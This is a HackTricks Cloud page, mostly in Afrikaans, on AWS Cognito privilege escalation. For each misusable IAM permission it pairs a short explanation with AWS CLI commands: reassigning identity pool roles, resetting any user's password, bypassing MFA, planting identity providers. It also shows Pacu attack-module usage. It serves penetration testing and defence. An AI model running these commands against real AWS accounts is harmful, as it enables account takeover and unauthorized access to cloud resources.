AWS - Cognito Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Cognito
Vir meer inligting oor Cognito kyk:
Versameling van credentials vanaf Identity Pool
As Cognito IAM role credentials aan beide geauthentiseerde en nie-geauthentiseerde gebruikers kan verleen, as jy die Identity Pool ID van ’n toepassing opspoor (dit behoort hardcoded op die toepassing te wees) kan jy nuwe credentials bekom en gevolglik privesc verkry (binne ’n AWS-rekening waar jy waarskynlik voorheen nie eens enige credential gehad het nie).
Vir meer inligting kyk hierdie bladsy.
Potensiële impak: Direkte privesc na die service-rol wat aan nie-geauthentiseerde gebruikers gekoppel is (en waarskynlik ook na dié wat aan geauthentiseerde gebruikers gekoppel is).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
Met hierdie toestemming kan jy ken enige Cognito-rol toe aan die geauthentiseerde/nie-geauthentiseerde gebruikers van die Cognito-app.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
As die cognito-app nie die opsie vir nie-geauthentiseerde gebruikers geaktiveer het nie, mag jy ook die toestemming cognito-identity:UpdateIdentityPool nodig hê om dit aan te skakel.
Potensiële impak: Direkte privesc na enige cognito-rol.
cognito-identity:update-identity-pool
’n aanvaller met hierdie toestemming kan byvoorbeeld ’n Cognito User Pool onder sy beheer opstel of enige ander identiteitsverskaffer waarby hy kan login as ’n manier om toegang tot hierdie Cognito Identity Pool te kry. Dan sal net ’n login by daardie identiteitsverskaffer hom toelaat om toegang te kry tot die geconfigureerde authenticated role in die Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Dit is ook moontlik om hierdie toestemming te misbruik om basic auth toe te laat:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Potensiële impak: Kompromitteer die gekonfigureerde geverifieerde IAM-rol binne die identity pool.
cognito-idp:AdminAddUserToGroup
Hierdie toestemming laat toe om ’n Cognito-gebruiker by ’n Cognito-groep te voeg, daarom kan ’n aanvaller hierdie toestemming misbruik om ’n gebruiker onder sy beheer by ander groepe met beter voorregte of verskillende IAM-rolle te voeg:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Potensiële impak: Privesc na ander Cognito groups en IAM roles wat aan User Pool Groups gekoppel is.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
’n aanvaller met hierdie toestemmings kan create/update groups met every IAM role that can be used by a compromised Cognito Identity Provider maak en ’n gekompromitteerde gebruiker in daardie group plaas, en sodoende toegang tot al daardie roles kry:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Potensiële impak: Privesc na ander Cognito IAM-rolle.
cognito-idp:AdminConfirmSignUp
Hierdie toestemming laat toe om ’n registrasie te verifieer. Standaard kan enigiemand by Cognito-toepassings aanmeld; as dit so gelaat word, kan ’n gebruiker ’n rekening skep met enige data en dit met hierdie toestemming verifieer.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Potential Impact: Indirect privesc na die identity pool IAM role vir authenticated users as jy ’n nuwe user kan registreer. Indirect privesc na ander app-funksionaliteite wat in staat is om enige account te bevestig.
cognito-idp:AdminCreateUser
Hierdie permission sou ’n attacker toelaat om ’n nuwe user binne die user pool te skep. Die nuwe user word geskep as enabled, maar sal sy password moet verander.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Potensiële impak: Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep
cognito-idp:AdminEnableUser
Hierdie permissie kan help in ’n uiters seldsame geval waar ’n aanvaller die inlogbewyse van ’n gedeaktiveerde gebruiker gevind het en hy dit weer moet aktiveer.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Potential Impact: Indirekte privesc na die identity pool IAM role vir geauthentiseerde gebruikers en die permissies van die gebruiker as die aanvaller kredensiale gehad het vir ’n gedeaktiveerde gebruiker.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Hierdie permissie laat toe om in te log met die method ADMIN_USER_PASSWORD_AUTH. Vir meer inligting volg die skakel.
cognito-idp:AdminSetUserPassword
Hierdie permissie sou ’n aanvaller toelaat om die wagwoord van enige gebruiker te verander, wat hom in staat sal stel om enige gebruiker na te boots (that doesn’t have MFA enabled).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Potensiële impak: Direkte privesc na potensieel enige gebruiker, dus toegang tot al die groepe waarvan elke gebruiker lid is en toegang tot die Identity Pool authenticated IAM role.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: ’n attacker kan hierdie toestemming moontlik misbruik om ’n mobiele telefoon wat onder sy beheer is as SMS MFA of a user te stel.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om die MFA-voorkeure van ’n gebruiker in te stel om die MFA-beskerming te omseil.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Soortgelyk aan die vorige, kan hierdie toestemming gebruik word om die MFA-voorkeure van ’n user pool te stel en sodoende die MFA-beskerming te omseil.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Dit is ook moontlik om die user pool by te werk om die MFA-beleid te verander. Check cli here.
Potential Impact: Indirekte privesc na moontlik enige gebruiker waarvan die aanvaller die aanmeldbewyse ken; dit kan toelaat om die MFA-beskerming te omseil.
cognito-idp:AdminUpdateUserAttributes
’n Aanvaller met hierdie toestemming kan die e-pos, telefoonnommer of enige ander attribuut van ’n gebruiker onder sy beheer verander om te probeer meer voorregte in ’n onderliggende toepassing te verkry.
Dit maak dit moontlik om ’n e-pos of telefoonnommer te verander en dit as geverifieer te merk.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Potential Impact: Potensiële indirekte privesc in die onderliggende toepassing wat Cognito User Pool gebruik wat voorregte gee gebaseer op gebruiker-attribuutte.
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
’n aanvaller met hierdie toestemming kan ’n nuwe User Pool Client skep wat minder beperk is as reeds bestaande pool clients. Byvoorbeeld, die nuwe client kan enige soort metode toelaat om te verifieer, geen secret hê, token revocation gedeaktiveer hê, of tokens langer geldig laat wees…
Dieselfde kan gedoen word as, in plaas daarvan om ’n nuwe client te skep, ’n bestaande een gewysig word.
In die command line (of die update one) kan jy al die opsies sien — kyk dit na!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potensiële impak: Potensiële indirekte privesc vir die Identity Pool-gemagtigde gebruiker wat deur die User Pool gebruik word deur ’n nuwe kliënt te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir ’n aanvaller om aan te meld met ’n gebruiker wat hy self kon skep.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
’n aanvaller kan hierdie toestemming misbruik om gebruikers te skep deur ’n CSV met nuwe gebruikers op te laai.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(In die geval dat jy ’n nuwe import job skep, mag jy ook die iam passrole permission benodig; ek het dit nog nie getoets nie).
Potensiële impak: Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
’n aanvaller kan ’n nuwe identity provider skep om dan deur hierdie provider te login.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potensiële impak: Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksies wat enige gebruiker kan skep.
cognito-sync:* Analise
Dit is ’n baie algemene toestemming standaard in rolle van Cognito Identity Pools. Selfs al lyk ’n wildcard in ’n permission altyd sleg (veral as dit van AWS kom), die gegewe permissions is nie besonder nuttig vanuit ’n attackers perspektief nie.
Hierdie toestemming laat toe om gebruikersinligting van Identity Pools en Identity IDs binne Identity Pools te lees (wat nie sensitiewe inligting is nie).
Identity IDs mag Datasets aan hulle toegewys hê, wat inligting oor sessies is (AWS definieer dit soos ’n saved game). Dit is moontlik dat dit sekere sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die enumeration page vind hoe om tot hierdie inligting toegang te kry.
An attacker could also use these permissions to enroll himself to a Cognito stream that publish changes on these datases or a lambda that triggers on cognito events. Ek het nog nie gesien dat dit gebruik word nie, en ek sou hier nie sensitiewe inligting verwag nie, maar dit is nie onmoontlik nie.
Automatic Tools
- Pacu, the AWS exploitation framework, sluit nou die “cognito__enum” en “cognito__attack” modules in wat die enumerasie van alle Cognito assets in ’n account outomatiseer en swak konfigurasies, user attributes wat vir access control gebruik word, ens. aan dui, en ook gebruikerskreatie outomatiseer (insluitend MFA-ondersteuning) en privilege escalation gebaseer op modifiseerbare custom attributes, usable identity pool credentials, assumable roles in id tokens, ens.
Vir ’n beskrywing van die modules se funksies sien deel 2 van die blog post. Vir installasie-instruksies sien die hoof Pacu bladsy.
Gebruik
Voorbeeld van cognito__attack gebruik om gebruikerskreatie te probeer en alle privesc-vektore teen ’n gegewe identity pool en user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Voorbeeldgebruik van cognito__enum om alle user pools, user pool clients, identity pools, users, ens. sigbaar in die huidige AWS-rekening te versamel:
Pacu (new:test) > run cognito__enum
- Cognito Scanner is ’n CLI tool in python wat verskeie aanvalle op Cognito implementeer, insluitend ’n privesc-eskalasie.
Installasie
$ pip install cognito-scanner
Gebruik
$ cognito-scanner --help
Vir meer inligting, sien https://github.com/padok-team/cognito-scanner
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

